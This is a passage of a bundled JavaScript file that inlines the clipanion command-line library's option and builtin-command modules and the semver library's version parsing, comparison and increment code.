    DefinitionsCommand.paths = [[`--clipanion=definitions`]];
    exports2.DefinitionsCommand = DefinitionsCommand;
  }
});

// node_modules/clipanion/lib/advanced/builtins/help.js
var require_help = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/builtins/help.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_Command = require_Command();
    var HelpCommand = class extends advanced_Command.Command {
      async execute() {
        this.context.stdout.write(this.cli.usage());
      }
    };
    HelpCommand.paths = [[`-h`], [`--help`]];
    exports2.HelpCommand = HelpCommand;
  }
});

// node_modules/clipanion/lib/advanced/builtins/version.js
var require_version = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/builtins/version.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_Command = require_Command();
    var VersionCommand = class extends advanced_Command.Command {
      async execute() {
        var _a;
        this.context.stdout.write(`${(_a = this.cli.binaryVersion) !== null &amp;&amp; _a !== void 0 ? _a : `&lt;unknown&gt;`}
`);
      }
    };
    VersionCommand.paths = [[`-v`], [`--version`]];
    exports2.VersionCommand = VersionCommand;
  }
});

// node_modules/clipanion/lib/advanced/builtins/index.js
var require_builtins = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/builtins/index.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_builtins_definitions = require_definitions();
    var advanced_builtins_help = require_help();
    var advanced_builtins_version = require_version();
    exports2.DefinitionsCommand = advanced_builtins_definitions.DefinitionsCommand;
    exports2.HelpCommand = advanced_builtins_help.HelpCommand;
    exports2.VersionCommand = advanced_builtins_version.VersionCommand;
  }
});

// node_modules/clipanion/lib/advanced/options/Array.js
var require_Array = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/Array.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_options_utils = require_utils();
    function Array2(descriptor, initialValueBase, optsBase) {
      const [initialValue, opts] = advanced_options_utils.rerouteArguments(initialValueBase, optsBase !== null &amp;&amp; optsBase !== void 0 ? optsBase : {});
      const { arity = 1 } = opts;
      const optNames = descriptor.split(`,`);
      const nameSet = new Set(optNames);
      return advanced_options_utils.makeCommandOption({
        definition(builder) {
          builder.addOption({
            names: optNames,
            arity,
            hidden: opts === null || opts === void 0 ? void 0 : opts.hidden,
            description: opts === null || opts === void 0 ? void 0 : opts.description,
            required: opts.required
          });
        },
        transformer(builder, key, state) {
          let usedName;
          let currentValue = typeof initialValue !== `undefined` ? [...initialValue] : void 0;
          for (const { name: name2, value } of state.options) {
            if (!nameSet.has(name2))
              continue;
            usedName = name2;
            currentValue = currentValue !== null &amp;&amp; currentValue !== void 0 ? currentValue : [];
            currentValue.push(value);
          }
          if (typeof currentValue !== `undefined`) {
            return advanced_options_utils.applyValidator(usedName !== null &amp;&amp; usedName !== void 0 ? usedName : key, currentValue, opts.validator);
          } else {
            return currentValue;
          }
        }
      });
    }
    exports2.Array = Array2;
  }
});

// node_modules/clipanion/lib/advanced/options/Boolean.js
var require_Boolean = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/Boolean.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_options_utils = require_utils();
    function Boolean2(descriptor, initialValueBase, optsBase) {
      const [initialValue, opts] = advanced_options_utils.rerouteArguments(initialValueBase, optsBase !== null &amp;&amp; optsBase !== void 0 ? optsBase : {});
      const optNames = descriptor.split(`,`);
      const nameSet = new Set(optNames);
      return advanced_options_utils.makeCommandOption({
        definition(builder) {
          builder.addOption({
            names: optNames,
            allowBinding: false,
            arity: 0,
            hidden: opts.hidden,
            description: opts.description,
            required: opts.required
          });
        },
        transformer(builer, key, state) {
          let currentValue = initialValue;
          for (const { name: name2, value } of state.options) {
            if (!nameSet.has(name2))
              continue;
            currentValue = value;
          }
          return currentValue;
        }
      });
    }
    exports2.Boolean = Boolean2;
  }
});

// node_modules/clipanion/lib/advanced/options/Counter.js
var require_Counter = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/Counter.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_options_utils = require_utils();
    function Counter(descriptor, initialValueBase, optsBase) {
      const [initialValue, opts] = advanced_options_utils.rerouteArguments(initialValueBase, optsBase !== null &amp;&amp; optsBase !== void 0 ? optsBase : {});
      const optNames = descriptor.split(`,`);
      const nameSet = new Set(optNames);
      return advanced_options_utils.makeCommandOption({
        definition(builder) {
          builder.addOption({
            names: optNames,
            allowBinding: false,
            arity: 0,
            hidden: opts.hidden,
            description: opts.description,
            required: opts.required
          });
        },
        transformer(builder, key, state) {
          let currentValue = initialValue;
          for (const { name: name2, value } of state.options) {
            if (!nameSet.has(name2))
              continue;
            currentValue !== null &amp;&amp; currentValue !== void 0 ? currentValue : currentValue = 0;
            if (!value) {
              currentValue = 0;
            } else {
              currentValue += 1;
            }
          }
          return currentValue;
        }
      });
    }
    exports2.Counter = Counter;
  }
});

// node_modules/clipanion/lib/advanced/options/Proxy.js
var require_Proxy = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/Proxy.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_options_utils = require_utils();
    function Proxy2(opts = {}) {
      return advanced_options_utils.makeCommandOption({
        definition(builder, key) {
          var _a;
          builder.addProxy({
            name: (_a = opts.name) !== null &amp;&amp; _a !== void 0 ? _a : key,
            required: opts.required
          });
        },
        transformer(builder, key, state) {
          return state.positionals.map(({ value }) =&gt; value);
        }
      });
    }
    exports2.Proxy = Proxy2;
  }
});

// node_modules/clipanion/lib/advanced/options/Rest.js
var require_Rest = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/Rest.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var core = require_core();
    var advanced_options_utils = require_utils();
    function Rest(opts = {}) {
      return advanced_options_utils.makeCommandOption({
        definition(builder, key) {
          var _a;
          builder.addRest({
            name: (_a = opts.name) !== null &amp;&amp; _a !== void 0 ? _a : key,
            required: opts.required
          });
        },
        transformer(builder, key, state) {
          const isRestPositional = (index) =&gt; {
            const positional = state.positionals[index];
            if (positional.extra === core.NoLimits)
              return true;
            if (positional.extra === false &amp;&amp; index &lt; builder.arity.leading.length)
              return true;
            return false;
          };
          let count = 0;
          while (count &lt; state.positionals.length &amp;&amp; isRestPositional(count))
            count += 1;
          return state.positionals.splice(0, count).map(({ value }) =&gt; value);
        }
      });
    }
    exports2.Rest = Rest;
  }
});

// node_modules/clipanion/lib/advanced/options/String.js
var require_String = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/String.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var core = require_core();
    var advanced_options_utils = require_utils();
    function StringOption(descriptor, initialValueBase, optsBase) {
      const [initialValue, opts] = advanced_options_utils.rerouteArguments(initialValueBase, optsBase !== null &amp;&amp; optsBase !== void 0 ? optsBase : {});
      const { arity = 1 } = opts;
      const optNames = descriptor.split(`,`);
      const nameSet = new Set(optNames);
      return advanced_options_utils.makeCommandOption({
        definition(builder) {
          builder.addOption({
            names: optNames,
            arity: opts.tolerateBoolean ? 0 : arity,
            hidden: opts.hidden,
            description: opts.description,
            required: opts.required
          });
        },
        transformer(builder, key, state, context) {
          let usedName;
          let currentValue = initialValue;
          if (typeof opts.env !== `undefined` &amp;&amp; context.env[opts.env]) {
            usedName = opts.env;
            currentValue = context.env[opts.env];
          }
          for (const { name: name2, value } of state.options) {
            if (!nameSet.has(name2))
              continue;
            usedName = name2;
            currentValue = value;
          }
          if (typeof currentValue === `string`) {
            return advanced_options_utils.applyValidator(usedName !== null &amp;&amp; usedName !== void 0 ? usedName : key, currentValue, opts.validator);
          } else {
            return currentValue;
          }
        }
      });
    }
    function StringPositional(opts = {}) {
      const { required = true } = opts;
      return advanced_options_utils.makeCommandOption({
        definition(builder, key) {
          var _a;
          builder.addPositional({
            name: (_a = opts.name) !== null &amp;&amp; _a !== void 0 ? _a : key,
            required: opts.required
          });
        },
        transformer(builder, key, state) {
          var _a;
          for (let i = 0; i &lt; state.positionals.length; ++i) {
            if (state.positionals[i].extra === core.NoLimits)
              continue;
            if (required &amp;&amp; state.positionals[i].extra === true)
              continue;
            if (!required &amp;&amp; state.positionals[i].extra === false)
              continue;
            const [positional] = state.positionals.splice(i, 1);
            return advanced_options_utils.applyValidator((_a = opts.name) !== null &amp;&amp; _a !== void 0 ? _a : key, positional.value, opts.validator);
          }
          return void 0;
        }
      });
    }
    function String2(descriptor, ...args) {
      if (typeof descriptor === `string`) {
        return StringOption(descriptor, ...args);
      } else {
        return StringPositional(descriptor);
      }
    }
    exports2.String = String2;
  }
});

// node_modules/clipanion/lib/advanced/options/index.js
var require_options = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/options/index.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var advanced_options_utils = require_utils();
    var advanced_options_Array = require_Array();
    var advanced_options_Boolean = require_Boolean();
    var advanced_options_Counter = require_Counter();
    var advanced_options_Proxy = require_Proxy();
    var advanced_options_Rest = require_Rest();
    var advanced_options_String = require_String();
    exports2.applyValidator = advanced_options_utils.applyValidator;
    exports2.cleanValidationError = advanced_options_utils.cleanValidationError;
    exports2.formatError = advanced_options_utils.formatError;
    exports2.isOptionSymbol = advanced_options_utils.isOptionSymbol;
    exports2.makeCommandOption = advanced_options_utils.makeCommandOption;
    exports2.rerouteArguments = advanced_options_utils.rerouteArguments;
    exports2.Array = advanced_options_Array.Array;
    exports2.Boolean = advanced_options_Boolean.Boolean;
    exports2.Counter = advanced_options_Counter.Counter;
    exports2.Proxy = advanced_options_Proxy.Proxy;
    exports2.Rest = advanced_options_Rest.Rest;
    exports2.String = advanced_options_String.String;
  }
});

// node_modules/clipanion/lib/advanced/index.js
var require_advanced = __commonJS({
  &quot;node_modules/clipanion/lib/advanced/index.js&quot;(exports2) {
    &quot;use strict&quot;;
    Object.defineProperty(exports2, &quot;__esModule&quot;, { value: true });
    var errors = require_errors();
    var format = require_format();
    var advanced_Command = require_Command();
    var advanced_Cli = require_Cli();
    var advanced_builtins_index = require_builtins();
    var advanced_options_index = require_options();
    exports2.UsageError = errors.UsageError;
    exports2.formatMarkdownish = format.formatMarkdownish;
    exports2.Command = advanced_Command.Command;
    exports2.Cli = advanced_Cli.Cli;
    exports2.run = advanced_Cli.run;
    exports2.runExit = advanced_Cli.runExit;
    exports2.Builtins = advanced_builtins_index;
    exports2.Option = advanced_options_index;
  }
});

// node_modules/semver/internal/debug.js
var require_debug = __commonJS({
  &quot;node_modules/semver/internal/debug.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var debug = typeof process === &quot;object&quot; &amp;&amp; process.env &amp;&amp; process.env.NODE_DEBUG &amp;&amp; /\bsemver\b/i.test(process.env.NODE_DEBUG) ? (...args) =&gt; console.error(&quot;SEMVER&quot;, ...args) : () =&gt; {
    };
    module2.exports = debug;
  }
});

// node_modules/semver/internal/constants.js
var require_constants2 = __commonJS({
  &quot;node_modules/semver/internal/constants.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var SEMVER_SPEC_VERSION = &quot;2.0.0&quot;;
    var MAX_LENGTH = 256;
    var MAX_SAFE_INTEGER = Number.MAX_SAFE_INTEGER || /* istanbul ignore next */
    9007199254740991;
    var MAX_SAFE_COMPONENT_LENGTH = 16;
    var MAX_SAFE_BUILD_LENGTH = MAX_LENGTH - 6;
    var RELEASE_TYPES = [
      &quot;major&quot;,
      &quot;premajor&quot;,
      &quot;minor&quot;,
      &quot;preminor&quot;,
      &quot;patch&quot;,
      &quot;prepatch&quot;,
      &quot;prerelease&quot;
    ];
    module2.exports = {
      MAX_LENGTH,
      MAX_SAFE_COMPONENT_LENGTH,
      MAX_SAFE_BUILD_LENGTH,
      MAX_SAFE_INTEGER,
      RELEASE_TYPES,
      SEMVER_SPEC_VERSION,
      FLAG_INCLUDE_PRERELEASE: 1,
      FLAG_LOOSE: 2
    };
  }
});

// node_modules/semver/internal/re.js
var require_re = __commonJS({
  &quot;node_modules/semver/internal/re.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var {
      MAX_SAFE_COMPONENT_LENGTH,
      MAX_SAFE_BUILD_LENGTH,
      MAX_LENGTH
    } = require_constants2();
    var debug = require_debug();
    exports2 = module2.exports = {};
    var re = exports2.re = [];
    var safeRe = exports2.safeRe = [];
    var src = exports2.src = [];
    var safeSrc = exports2.safeSrc = [];
    var t = exports2.t = {};
    var R = 0;
    var LETTERDASHNUMBER = &quot;[a-zA-Z0-9-]&quot;;
    var safeRegexReplacements = [
      [&quot;\\s&quot;, 1],
      [&quot;\\d&quot;, MAX_LENGTH],
      [LETTERDASHNUMBER, MAX_SAFE_BUILD_LENGTH]
    ];
    var makeSafeRegex = (value) =&gt; {
      for (const [token, max] of safeRegexReplacements) {
        value = value.split(`${token}*`).join(`${token}{0,${max}}`).split(`${token}+`).join(`${token}{1,${max}}`);
      }
      return value;
    };
    var createToken = (name2, value, isGlobal) =&gt; {
      const safe = makeSafeRegex(value);
      const index = R++;
      debug(name2, index, value);
      t[name2] = index;
      src[index] = value;
      safeSrc[index] = safe;
      re[index] = new RegExp(value, isGlobal ? &quot;g&quot; : void 0);
      safeRe[index] = new RegExp(safe, isGlobal ? &quot;g&quot; : void 0);
    };
    createToken(&quot;NUMERICIDENTIFIER&quot;, &quot;0|[1-9]\\d*&quot;);
    createToken(&quot;NUMERICIDENTIFIERLOOSE&quot;, &quot;\\d+&quot;);
    createToken(&quot;NONNUMERICIDENTIFIER&quot;, `\\d*[a-zA-Z-]${LETTERDASHNUMBER}*`);
    createToken(&quot;MAINVERSION&quot;, `(${src[t.NUMERICIDENTIFIER]})\\.(${src[t.NUMERICIDENTIFIER]})\\.(${src[t.NUMERICIDENTIFIER]})`);
    createToken(&quot;MAINVERSIONLOOSE&quot;, `(${src[t.NUMERICIDENTIFIERLOOSE]})\\.(${src[t.NUMERICIDENTIFIERLOOSE]})\\.(${src[t.NUMERICIDENTIFIERLOOSE]})`);
    createToken(&quot;PRERELEASEIDENTIFIER&quot;, `(?:${src[t.NONNUMERICIDENTIFIER]}|${src[t.NUMERICIDENTIFIER]})`);
    createToken(&quot;PRERELEASEIDENTIFIERLOOSE&quot;, `(?:${src[t.NONNUMERICIDENTIFIER]}|${src[t.NUMERICIDENTIFIERLOOSE]})`);
    createToken(&quot;PRERELEASE&quot;, `(?:-(${src[t.PRERELEASEIDENTIFIER]}(?:\\.${src[t.PRERELEASEIDENTIFIER]})*))`);
    createToken(&quot;PRERELEASELOOSE&quot;, `(?:-?(${src[t.PRERELEASEIDENTIFIERLOOSE]}(?:\\.${src[t.PRERELEASEIDENTIFIERLOOSE]})*))`);
    createToken(&quot;BUILDIDENTIFIER&quot;, `${LETTERDASHNUMBER}+`);
    createToken(&quot;BUILD&quot;, `(?:\\+(${src[t.BUILDIDENTIFIER]}(?:\\.${src[t.BUILDIDENTIFIER]})*))`);
    createToken(&quot;FULLPLAIN&quot;, `v?${src[t.MAINVERSION]}${src[t.PRERELEASE]}?${src[t.BUILD]}?`);
    createToken(&quot;FULL&quot;, `^${src[t.FULLPLAIN]}$`);
    createToken(&quot;LOOSEPLAIN&quot;, `[v=\\s]*${src[t.MAINVERSIONLOOSE]}${src[t.PRERELEASELOOSE]}?${src[t.BUILD]}?`);
    createToken(&quot;LOOSE&quot;, `^${src[t.LOOSEPLAIN]}$`);
    createToken(&quot;GTLT&quot;, &quot;((?:&lt;|&gt;)?=?)&quot;);
    createToken(&quot;XRANGEIDENTIFIERLOOSE&quot;, `${src[t.NUMERICIDENTIFIERLOOSE]}|x|X|\\*`);
    createToken(&quot;XRANGEIDENTIFIER&quot;, `${src[t.NUMERICIDENTIFIER]}|x|X|\\*`);
    createToken(&quot;XRANGEPLAIN&quot;, `[v=\\s]*(${src[t.XRANGEIDENTIFIER]})(?:\\.(${src[t.XRANGEIDENTIFIER]})(?:\\.(${src[t.XRANGEIDENTIFIER]})(?:${src[t.PRERELEASE]})?${src[t.BUILD]}?)?)?`);
    createToken(&quot;XRANGEPLAINLOOSE&quot;, `[v=\\s]*(${src[t.XRANGEIDENTIFIERLOOSE]})(?:\\.(${src[t.XRANGEIDENTIFIERLOOSE]})(?:\\.(${src[t.XRANGEIDENTIFIERLOOSE]})(?:${src[t.PRERELEASELOOSE]})?${src[t.BUILD]}?)?)?`);
    createToken(&quot;XRANGE&quot;, `^${src[t.GTLT]}\\s*${src[t.XRANGEPLAIN]}$`);
    createToken(&quot;XRANGELOOSE&quot;, `^${src[t.GTLT]}\\s*${src[t.XRANGEPLAINLOOSE]}$`);
    createToken(&quot;COERCEPLAIN&quot;, `${&quot;(^|[^\\d])(\\d{1,&quot;}${MAX_SAFE_COMPONENT_LENGTH}})(?:\\.(\\d{1,${MAX_SAFE_COMPONENT_LENGTH}}))?(?:\\.(\\d{1,${MAX_SAFE_COMPONENT_LENGTH}}))?`);
    createToken(&quot;COERCE&quot;, `${src[t.COERCEPLAIN]}(?:$|[^\\d])`);
    createToken(&quot;COERCEFULL&quot;, src[t.COERCEPLAIN] + `(?:${src[t.PRERELEASE]})?(?:${src[t.BUILD]})?(?:$|[^\\d])`);
    createToken(&quot;COERCERTL&quot;, src[t.COERCE], true);
    createToken(&quot;COERCERTLFULL&quot;, src[t.COERCEFULL], true);
    createToken(&quot;LONETILDE&quot;, &quot;(?:~&gt;?)&quot;);
    createToken(&quot;TILDETRIM&quot;, `(\\s*)${src[t.LONETILDE]}\\s+`, true);
    exports2.tildeTrimReplace = &quot;$1~&quot;;
    createToken(&quot;TILDE&quot;, `^${src[t.LONETILDE]}${src[t.XRANGEPLAIN]}$`);
    createToken(&quot;TILDELOOSE&quot;, `^${src[t.LONETILDE]}${src[t.XRANGEPLAINLOOSE]}$`);
    createToken(&quot;LONECARET&quot;, &quot;(?:\\^)&quot;);
    createToken(&quot;CARETTRIM&quot;, `(\\s*)${src[t.LONECARET]}\\s+`, true);
    exports2.caretTrimReplace = &quot;$1^&quot;;
    createToken(&quot;CARET&quot;, `^${src[t.LONECARET]}${src[t.XRANGEPLAIN]}$`);
    createToken(&quot;CARETLOOSE&quot;, `^${src[t.LONECARET]}${src[t.XRANGEPLAINLOOSE]}$`);
    createToken(&quot;COMPARATORLOOSE&quot;, `^${src[t.GTLT]}\\s*(${src[t.LOOSEPLAIN]})$|^$`);
    createToken(&quot;COMPARATOR&quot;, `^${src[t.GTLT]}\\s*(${src[t.FULLPLAIN]})$|^$`);
    createToken(&quot;COMPARATORTRIM&quot;, `(\\s*)${src[t.GTLT]}\\s*(${src[t.LOOSEPLAIN]}|${src[t.XRANGEPLAIN]})`, true);
    exports2.comparatorTrimReplace = &quot;$1$2$3&quot;;
    createToken(&quot;HYPHENRANGE&quot;, `^\\s*(${src[t.XRANGEPLAIN]})\\s+-\\s+(${src[t.XRANGEPLAIN]})\\s*$`);
    createToken(&quot;HYPHENRANGELOOSE&quot;, `^\\s*(${src[t.XRANGEPLAINLOOSE]})\\s+-\\s+(${src[t.XRANGEPLAINLOOSE]})\\s*$`);
    createToken(&quot;STAR&quot;, &quot;(&lt;|&gt;)?=?\\s*\\*&quot;);
    createToken(&quot;GTE0&quot;, &quot;^\\s*&gt;=\\s*0\\.0\\.0\\s*$&quot;);
    createToken(&quot;GTE0PRE&quot;, &quot;^\\s*&gt;=\\s*0\\.0\\.0-0\\s*$&quot;);
  }
});

// node_modules/semver/internal/parse-options.js
var require_parse_options = __commonJS({
  &quot;node_modules/semver/internal/parse-options.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var looseOption = Object.freeze({ loose: true });
    var emptyOpts = Object.freeze({});
    var parseOptions = (options) =&gt; {
      if (!options) {
        return emptyOpts;
      }
      if (typeof options !== &quot;object&quot;) {
        return looseOption;
      }
      return options;
    };
    module2.exports = parseOptions;
  }
});

// node_modules/semver/internal/identifiers.js
var require_identifiers = __commonJS({
  &quot;node_modules/semver/internal/identifiers.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var numeric = /^[0-9]+$/;
    var compareIdentifiers = (a, b) =&gt; {
      if (typeof a === &quot;number&quot; &amp;&amp; typeof b === &quot;number&quot;) {
        return a === b ? 0 : a &lt; b ? -1 : 1;
      }
      const anum = numeric.test(a);
      const bnum = numeric.test(b);
      if (anum &amp;&amp; bnum) {
        a = +a;
        b = +b;
      }
      return a === b ? 0 : anum &amp;&amp; !bnum ? -1 : bnum &amp;&amp; !anum ? 1 : a &lt; b ? -1 : 1;
    };
    var rcompareIdentifiers = (a, b) =&gt; compareIdentifiers(b, a);
    module2.exports = {
      compareIdentifiers,
      rcompareIdentifiers
    };
  }
});

// node_modules/semver/classes/semver.js
var require_semver = __commonJS({
  &quot;node_modules/semver/classes/semver.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var debug = require_debug();
    var { MAX_LENGTH, MAX_SAFE_INTEGER } = require_constants2();
    var { safeRe: re, t } = require_re();
    var parseOptions = require_parse_options();
    var { compareIdentifiers } = require_identifiers();
    var isPrereleaseIdentifier = (prerelease, identifier) =&gt; {
      const identifiers = identifier.split(&quot;.&quot;);
      if (identifiers.length &gt; prerelease.length) {
        return false;
      }
      for (let i = 0; i &lt; identifiers.length; i++) {
        if (compareIdentifiers(prerelease[i], identifiers[i]) !== 0) {
          return false;
        }
      }
      return true;
    };
    var SemVer3 = class _SemVer {
      constructor(version, options) {
        options = parseOptions(options);
        if (version instanceof _SemVer) {
          if (version.loose === !!options.loose &amp;&amp; version.includePrerelease === !!options.includePrerelease) {
            return version;
          } else {
            version = version.version;
          }
        } else if (typeof version !== &quot;string&quot;) {
          throw new TypeError(`Invalid version. Must be a string. Got type &quot;${typeof version}&quot;.`);
        }
        if (version.length &gt; MAX_LENGTH) {
          throw new TypeError(
            `version is longer than ${MAX_LENGTH} characters`
          );
        }
        debug(&quot;SemVer&quot;, version, options);
        this.options = options;
        this.loose = !!options.loose;
        this.includePrerelease = !!options.includePrerelease;
        const m = version.trim().match(options.loose ? re[t.LOOSE] : re[t.FULL]);
        if (!m) {
          throw new TypeError(`Invalid Version: ${version}`);
        }
        this.raw = version;
        this.major = +m[1];
        this.minor = +m[2];
        this.patch = +m[3];
        if (this.major &gt; MAX_SAFE_INTEGER || this.major &lt; 0) {
          throw new TypeError(&quot;Invalid major version&quot;);
        }
        if (this.minor &gt; MAX_SAFE_INTEGER || this.minor &lt; 0) {
          throw new TypeError(&quot;Invalid minor version&quot;);
        }
        if (this.patch &gt; MAX_SAFE_INTEGER || this.patch &lt; 0) {
          throw new TypeError(&quot;Invalid patch version&quot;);
        }
        if (!m[4]) {
          this.prerelease = [];
        } else {
          this.prerelease = m[4].split(&quot;.&quot;).map((id) =&gt; {
            if (/^[0-9]+$/.test(id)) {
              const num = +id;
              if (num &gt;= 0 &amp;&amp; num &lt; MAX_SAFE_INTEGER) {
                return num;
              }
            }
            return id;
          });
        }
        this.build = m[5] ? m[5].split(&quot;.&quot;) : [];
        this.format();
      }
      format() {
        this.version = `${this.major}.${this.minor}.${this.patch}`;
        if (this.prerelease.length) {
          this.version += `-${this.prerelease.join(&quot;.&quot;)}`;
        }
        return this.version;
      }
      toString() {
        return this.version;
      }
      compare(other) {
        debug(&quot;SemVer.compare&quot;, this.version, this.options, other);
        if (!(other instanceof _SemVer)) {
          if (typeof other === &quot;string&quot; &amp;&amp; other === this.version) {
            return 0;
          }
          other = new _SemVer(other, this.options);
        }
        if (other.version === this.version) {
          return 0;
        }
        return this.compareMain(other) || this.comparePre(other);
      }
      compareMain(other) {
        if (!(other instanceof _SemVer)) {
          other = new _SemVer(other, this.options);
        }
        if (this.major &lt; other.major) {
          return -1;
        }
        if (this.major &gt; other.major) {
          return 1;
        }
        if (this.minor &lt; other.minor) {
          return -1;
        }
        if (this.minor &gt; other.minor) {
          return 1;
        }
        if (this.patch &lt; other.patch) {
          return -1;
        }
        if (this.patch &gt; other.patch) {
          return 1;
        }
        return 0;
      }
      comparePre(other) {
        if (!(other instanceof _SemVer)) {
          other = new _SemVer(other, this.options);
        }
        if (this.prerelease.length &amp;&amp; !other.prerelease.length) {
          return -1;
        } else if (!this.prerelease.length &amp;&amp; other.prerelease.length) {
          return 1;
        } else if (!this.prerelease.length &amp;&amp; !other.prerelease.length) {
          return 0;
        }
        let i = 0;
        do {
          const a = this.prerelease[i];
          const b = other.prerelease[i];
          debug(&quot;prerelease compare&quot;, i, a, b);
          if (a === void 0 &amp;&amp; b === void 0) {
            return 0;
          } else if (b === void 0) {
            return 1;
          } else if (a === void 0) {
            return -1;
          } else if (a === b) {
            continue;
          } else {
            return compareIdentifiers(a, b);
          }
        } while (++i);
      }
      compareBuild(other) {
        if (!(other instanceof _SemVer)) {
          other = new _SemVer(other, this.options);
        }
        let i = 0;
        do {
          const a = this.build[i];
          const b = other.build[i];
          debug(&quot;build compare&quot;, i, a, b);
          if (a === void 0 &amp;&amp; b === void 0) {
            return 0;
          } else if (b === void 0) {
            return 1;
          } else if (a === void 0) {
            return -1;
          } else if (a === b) {
            continue;
          } else {
            return compareIdentifiers(a, b);
          }
        } while (++i);
      }
      // preminor will bump the version up to the next minor release, and immediately
      // down to pre-release. premajor and prepatch work the same way.
      inc(release, identifier, identifierBase) {
        if (release.startsWith(&quot;pre&quot;)) {
          if (!identifier &amp;&amp; identifierBase === false) {
            throw new Error(&quot;invalid increment argument: identifier is empty&quot;);
          }
          if (identifier) {
            const match = `-${identifier}`.match(this.options.loose ? re[t.PRERELEASELOOSE] : re[t.PRERELEASE]);
            if (!match || match[1] !== identifier) {
              throw new Error(`invalid identifier: ${identifier}`);
            }
          }
        }
        switch (release) {
          case &quot;premajor&quot;:
            this.prerelease.length = 0;
            this.patch = 0;
            this.minor = 0;
            this.major++;
            this.inc(&quot;pre&quot;, identifier, identifierBase);
            break;
          case &quot;preminor&quot;:
            this.prerelease.length = 0;
            this.patch = 0;
            this.minor++;
            this.inc(&quot;pre&quot;, identifier, identifierBase);
            break;
          case &quot;prepatch&quot;:
            this.prerelease.length = 0;
            this.inc(&quot;patch&quot;, identifier, identifierBase);
            this.inc(&quot;pre&quot;, identifier, identifierBase);
            break;
          // If the input is a non-prerelease version, this acts the same as
          // prepatch.
          case &quot;prerelease&quot;:
            if (this.prerelease.length === 0) {
              this.inc(&quot;patch&quot;, identifier, identifierBase);
            }
            this.inc(&quot;pre&quot;, identifier, identifierBase);
            break;
          case &quot;release&quot;:
            if (this.prerelease.length === 0) {
              throw new Error(`version ${this.raw} is not a prerelease`);
            }
            this.prerelease.length = 0;
            break;
          case &quot;major&quot;:
            if (this.minor !== 0 || this.patch !== 0 || this.prerelease.length === 0) {
              this.major++;
            }
            this.minor = 0;
            this.patch = 0;
            this.prerelease = [];
            break;
          case &quot;minor&quot;:
            if (this.patch !== 0 || this.prerelease.length === 0) {
              this.minor++;
            }
            this.patch = 0;
            this.prerelease = [];
            break;
          case &quot;patch&quot;:
            if (this.prerelease.length === 0) {
              this.patch++;
            }
            this.prerelease = [];
            break;
          // This probably shouldn&#039;t be used publicly.
          // 1.0.0 &#039;pre&#039; would become 1.0.0-0 which is the wrong direction.
          case &quot;pre&quot;: {
            const base = Number(identifierBase) ? 1 : 0;
            if (this.prerelease.length === 0) {
              this.prerelease = [base];
            } else {
              let i = this.prerelease.length;
              while (--i &gt;= 0) {
                if (typeof this.prerelease[i] === &quot;number&quot;) {
                  this.prerelease[i]++;
                  i = -2;
                }
              }
              if (i === -1) {
                if (identifier === this.prerelease.join(&quot;.&quot;) &amp;&amp; identifierBase === false) {
                  throw new Error(&quot;invalid increment argument: identifier already exists&quot;);
                }
                this.prerelease.push(base);
              }
            }
            if (identifier) {
              let prerelease = [identifier, base];
              if (identifierBase === false) {
                prerelease = [identifier];
              }
              if (isPrereleaseIdentifier(this.prerelease, identifier)) {
                const prereleaseBase = this.prerelease[identifier.split(&quot;.&quot;).length];
                if (isNaN(prereleaseBase)) {
                  this.prerelease = prerelease;
                }
              } else {
                this.prerelease = prerelease;
              }
            }
            break;
          }
          default:
            throw new Error(`invalid increment argument: ${release}`);
        }
        this.raw = this.format();
        if (this.build.length) {
          this.raw += `+${this.build.join(&quot;.&quot;)}`;
        }
        return this;
      }
    };
    module2.exports = SemVer3;
  }
});

// node_modules/semver/functions/compare.js
var require_compare = __commonJS({
  &quot;node_modules/semver/functions/compare.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var SemVer3 = require_semver();
    var compare = (a, b, loose) =&gt; new SemVer3(a, loose).compare(new SemVer3(b, loose));
    module2.exports = compare;
  }
});

// node_modules/semver/functions/rcompare.js
var require_rcompare = __commonJS({
  &quot;node_modules/semver/functions/rcompare.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var compare = require_compare();
    var rcompare = (a, b, loose) =&gt; compare(b, a, loose);
    module2.exports = rcompare;
  }
});

// node_modules/semver/functions/parse.js
var require_parse = __commonJS({
  &quot;node_modules/semver/functions/parse.js&quot;(exports2, module2) {
    &quot;use strict&quot;;
    var SemVer3 = require_semver();
    var parse4 = (version, options, throwErrors = false) =&gt; {
      if (version instanceof SemVer3) {
        return version;
      }
      try {
        return new SemVer3(version, options);
      } catch (er) {
        if (!throwErrors) {
          return null;
